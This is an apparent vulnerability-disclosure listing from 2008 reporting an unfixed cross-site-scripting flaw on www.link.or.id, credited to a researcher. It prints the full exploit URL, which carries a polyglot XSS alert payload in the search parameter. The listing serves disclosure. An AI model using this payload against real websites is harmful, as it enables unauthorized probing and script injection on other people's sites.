www.link.or.id cross-site-scripting (XSS) Vulnerability

Advertisements:

Security researcher SaMTHG, has submitted on 26/09/2008 a cross-site-scripting (XSS) vulnerability affecting www.link.or.id, which at the time of submission ranked 29364 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 03/10/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.

Date submitted: 26/09/2008

Date published: 03/10/2008

Fixed? Mail us!

Status:

UNFIXED

Author: SaMTHG

Domain: www.link.or.id

Category: XSS

Pagerank: 29364

URL: http://www.link.or.id/search.php?kword=%27;alert(String.fromCharCode(88,83,83))//\%27;alert(String.f
romCharCode(88,83,83))//%22;alert(String.fromCharCode(88,83,83))//\%22;alert(String.fromCharCode(88,
83,83))//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E

Click here to view the mirror

XSS Attacks
Cross Site Scripting Exploits and Defense

Website Fraud Loss Prevention